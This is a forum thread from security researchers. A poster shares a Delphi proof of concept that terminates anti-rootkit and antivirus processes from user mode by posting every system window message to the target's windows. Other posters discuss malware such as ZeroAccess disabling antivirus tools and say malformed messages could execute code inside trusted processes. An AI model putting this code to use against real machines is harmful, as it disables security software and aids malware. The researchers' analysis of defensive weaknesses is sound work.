[Brock]

Decided to share a very simple yet effective "generic" PoC, aka stupid ugly nasty hack, I wrote after analyzing some existing ARK self-protection mechanisms, even those with deep kernel object hooks, shadow table hooks etc. Some programs tested against were Rootkit Unhooker 3.8.389.593 LE SR2, IceSword 1.22 and was even able to terminate Sudami PoC all from ring3 (despite the fact that the author touts that PostMessage will not work against his GUI window) :lol:

For Vista+ OS I would recommend admin rights for testing if you're inclined to do so...

Code: Select all

procedure R3WPK(const PID: DWORD);
var
   hWin: HWND;
   hParent: HWND;
   dwPID: DWORD;
   WM_XxX: DWORD;
   bFuckParent: BOOL;
const
   MAX_HWND = $10000;
begin
   hWin := 0;
while (hWin <= MAX_HWND) do
 begin
 if (GetWindowThreadProcessId(hWin, @dwPID) <> 0) and (dwPID = PID) then
   begin
    hParent := GetParent(hWin);
    bFuckParent := (GetWindowThreadProcessId(hParent, @dwPID) <> 0) and (dwPID = PID);
    WM_XxX := 0;
   while (WM_XxX <= WM_USER) do
   begin
    if (bFuckParent) then
    PostMessageW(hParent, WM_XxX, 0, 0);
    PostMessageW(hWin, WM_XxX, 0, 0);
    inc(WM_XxX);
   end;
   end;
    inc(hWin, 2);
 end;
end;

[EP_X0FF]

It's fun but actually useless. ITW malware (like for example ZeroAccess) always using much effective methods to shutdown AV's, and these methods work on applications all this kind proof-of-concepts fails to kill. As for this one - hook more in shadow (NtUserQueryWindow like XueTr AFAIR) and you will survive, but nobody cares.

[Brock]

It's all in good "fun". I just thought the Sudami text about PostMessage API was funny. Originally, I wrote a hack to do similar stuff with AttachThreadInput but it was even nastier.

[Alex]

I see that you don't send user defined window messages (>= WM_USER), most of software which use these messages create own structures and don't care about pointer validation. I's more likely that if software use user defined messages it can be killed by sending them. XueTr for example protects windows enumeration, so you will obtain window handles but without PIDs/TIDs, but id doesn't mean its windows can't be recognized and used to process termination (Killing XueTr from User Mode (oXueTb Poc)). Sending malframed messages, attaching to thread input, task ending, ... are only a few possibilities of many which gives us win32k subsystem.

It's not completely useless fun, it can be used to remote code execution, of course there isn't any kind of privilege elevations (time of shatter attacks already end), but execution a code inside trusted process (AV process for example) can be dangerous.

[Brock]

Hey Alex,

Originally I was looping all the way up to 50,000 as a test, just some randomly chosen high number. I chose to cut it off at WM_USER (WM_NULL (0) - WM_USER (1024)) because system reserved windows messages was truly all I needed for terminating all programs tested against and message such as WM_CLOSE, WM_DESTROY, WM_QUIT etc are all sent. I also tried to avoid access violations in the target window procedures, targeting user-defined window messages would most surely result in such nonsense.

As I pointed out to EP_X0FF, I found this primarily interesting only due to the fact that Sudami was so easily terminated, like the rest I had tested with.

P.S: I viewed the video you linked to on SysInternals forum, interesting to see as well. As far as you mentioning XueTr or (XT they call it)... If it doesn't protect chaining of GetParent, SetParent, classname queries etc it is also vulnerable to such attacks, but hardcoding classnames was not the point of my "generic" ring3 process termination PoC. Please have a look here at this example (Chinese???) http://translate.google.com/translate?h ... d%3Divnsfd it hooks many shadow table services